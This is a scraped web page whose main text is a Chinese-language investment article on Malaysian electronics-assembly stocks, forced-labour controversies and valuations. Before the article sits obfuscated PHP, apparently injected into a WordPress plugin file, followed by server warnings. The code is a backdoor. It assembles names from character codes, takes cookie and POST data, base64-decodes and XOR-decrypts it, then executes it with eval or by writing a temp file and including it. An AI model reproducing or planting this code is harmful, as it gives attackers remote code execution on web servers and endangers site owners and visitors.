$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
电子组装的霍尔魔咒还在?盈利成长是关键 - Sharix

电子组装的霍尔魔咒还在?盈利成长是关键

三个月前市场因为强迫劳工的案件导致几家电子组装公司的股价崩盘,而这起 “大火” 也蔓延至特定的科技公司身上。经过时间的沉淀,投资者似乎已经把强迫劳工的事件淡忘,把目光转移至俄乌战争及经济制裁导致通胀失控等课题。但上个星期Andy Hall风波再现,导致VS的股价再次受到重创。那市场在未来会不会对这些牵涉大量外劳的行业大打折扣?笔者会从电子组装公司的盈利及估值和大家探讨这个行业本身所面对的窘境。

今年牵涉强迫外劳的上市公司就有SIMEPLT种植公司以及YTY手套生产商。这两家公司都收到来自美国边境及海关保护局 (CBP) 的调查报告,并认定公司的产品确实存在强迫劳动的行为。在过去两年,大马上市公司因涉嫌强迫劳工而股价暴雷的案例多不胜数,当中就有TOPGLOV、SUPERMX、FGV以及ATAIMS等,所涉及的领域大多围绕在手套、种植及电子组装。当然还有数家上市公司也疑存强迫外劳的问题,并处在人权专家Andy Hall的雷达范围之内。

其实,大马的外劳问题一直都存在,主要是我国在过去都依赖廉价劳工进行生产。但随着全球投资者对于环境社会监管投资 (ESG investing) 的高度注重,大马大量引进外劳的政策已经导致今时今日我国上市企业必须背负潜在的强迫外劳风险。虽然短期能提高我国的生产与竞争力,但生产自动化已经逐渐取代人力,廉价劳工再也不会是国家长期的竞争优势。伴随而来的,是外来直接投资 (FDI) 的减少,冲击本地的合约供应,最后降低本地企业的生产需求。

上个星期四Andy Hall终止与VS的在解决劳工问题的合作关系,而前者给出的理由是公司在聘请人权审核机构时候没有与他进行咨询与讨论。另外,Andy Hall拒绝签保密协议,其中涉及客户的私密详情,致使公司表明全面稽查结果不会与他分享。笔者认为Andy Hall是来无理取闹的。大家都知道公司委派的审查师是PwC,并有独立劳工权利顾问的支持,而且公司的审查不单只是针对外劳福利,同时还包括了本地员工。但市场因为公司再现外劳强迫风波而先把手上的股票进行抛售。

目前,大马电子组装行业的平均本益比为13.5倍,其中以VS为首的Dyson系列公司估值最高,本益比为17.3倍,而ATAIMS以及FPI的本益比处于较低的范围,分别在10.2倍及9.2倍。但是,前者的低估值主要是股价因为受到强迫劳工课题而暴跌所致,并不是股价真正低估。至于后者的本益比长期下来都是介于8倍至12倍的水平,笔者认为是公司的低瀑光率及投资者对于音响设备和乐器的市场持有保守的态度所致。

虽然目前市场对于强迫外劳的课题已经逐渐淡忘,但短期之内电子组装公司的股价想要重返昔日辉煌的机会非常渺茫,毕竟这些公司现在所需面对的潜在下行风险更多。除了本身盈利增长放缓,电子组装公司还需要面对涉及强迫劳工的风险。随着全球投资者越来越重视企业的ESG因素,那些不符合标准的企业将会受到市场资金严厉的惩戒,估值上也会出现大打折扣的局面。因此,那些高度依赖劳工或者严重污染环境的公司将会首当其冲,而主要牵涉的行业有手套、种植、电子组装、公用事业、油气等重工业或者需要大量劳动力的传统产业。

目前市场就强迫外劳的风险给电子组装公司的估值往下修复,而笔者也认为这将会是行业的结构性改变。这并不是公司的基本面变差,而是市场因为潜在风险增加而不再愿意给予公司更高的溢价。那这会不会是电子组装行业的尽头?笔者认为并不会。如果大家观察上述六家大马主要的电子组装公司,会发现这些公司在过去的营收和盈利成长也非常可观。数据显示这六家公司过去五年的营收和盈利分别每年平均增长15.9% 以及18.9% 。观察个别公司, FPI及SKPRES在最新季度的盈利更是突破历史新高。

观察电子组装行业的资产负债表,除了VS和ATAIMS是处于净负债的状态,其余的公司都是净现金,当中最有钱的公司为FPI,其次是UCHITEC和SKPRES,净现金总量分别来到RM266.4 million、RM181.8 million和RM124.6 million。股息方面,电子组装公司的股息普遍上都不吸引,除了UCHITEC以及FPI。以目前的股息派发比计算,这两家公司的股息率都高达5.7%,是股息投资者的最爱。

因此,电子组装公司接下来能走多远完全取决于未来的盈利稳定性。管理层除了需要寻找更多新客户去分散化盈利风险之外,也必须设法减少对劳工的依赖把监管的风险减到最低。只要管理层能够像市场证明公司有能力去应对强迫外劳的风险,投资者的信心自然会归来。而笔者认为在众多电子组装公司当中VS管理层的处理方式最佳。虽然现在和Andy Hall闹得不愉快,但公司及时向市场更新动态进展,处理方式和ATAIMS的管理层有很鲜明的对比。这也是两家公司股价出现完全背离的主要原因。

总的来说,笔者认为今年会是电子组装行业的沉淀期,主要是受到供应链瓶颈导致芯片短缺,进而影响电子组装公司的产出。只要明年的供应链瓶颈开始缓解,再配合产能的扩张以及积压的订单,明年将会是电子组装行业王者归来的时期,盈利也有望继续突破历史新高。但目前投资者也要关注全球经济的风向,主要是因为这些公司所制造的产品都是奢侈品,在经济开始走下坡时市场对于这些产品的需求也会出现下滑。电子组装本身是以量取胜的行业,只要公司的产能达到最大化,盈利和赚幅自然就会提高。因此在做投资决策时,投资者首要考量的是那些斩获合约能力极强,并且客户多元化的公司。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台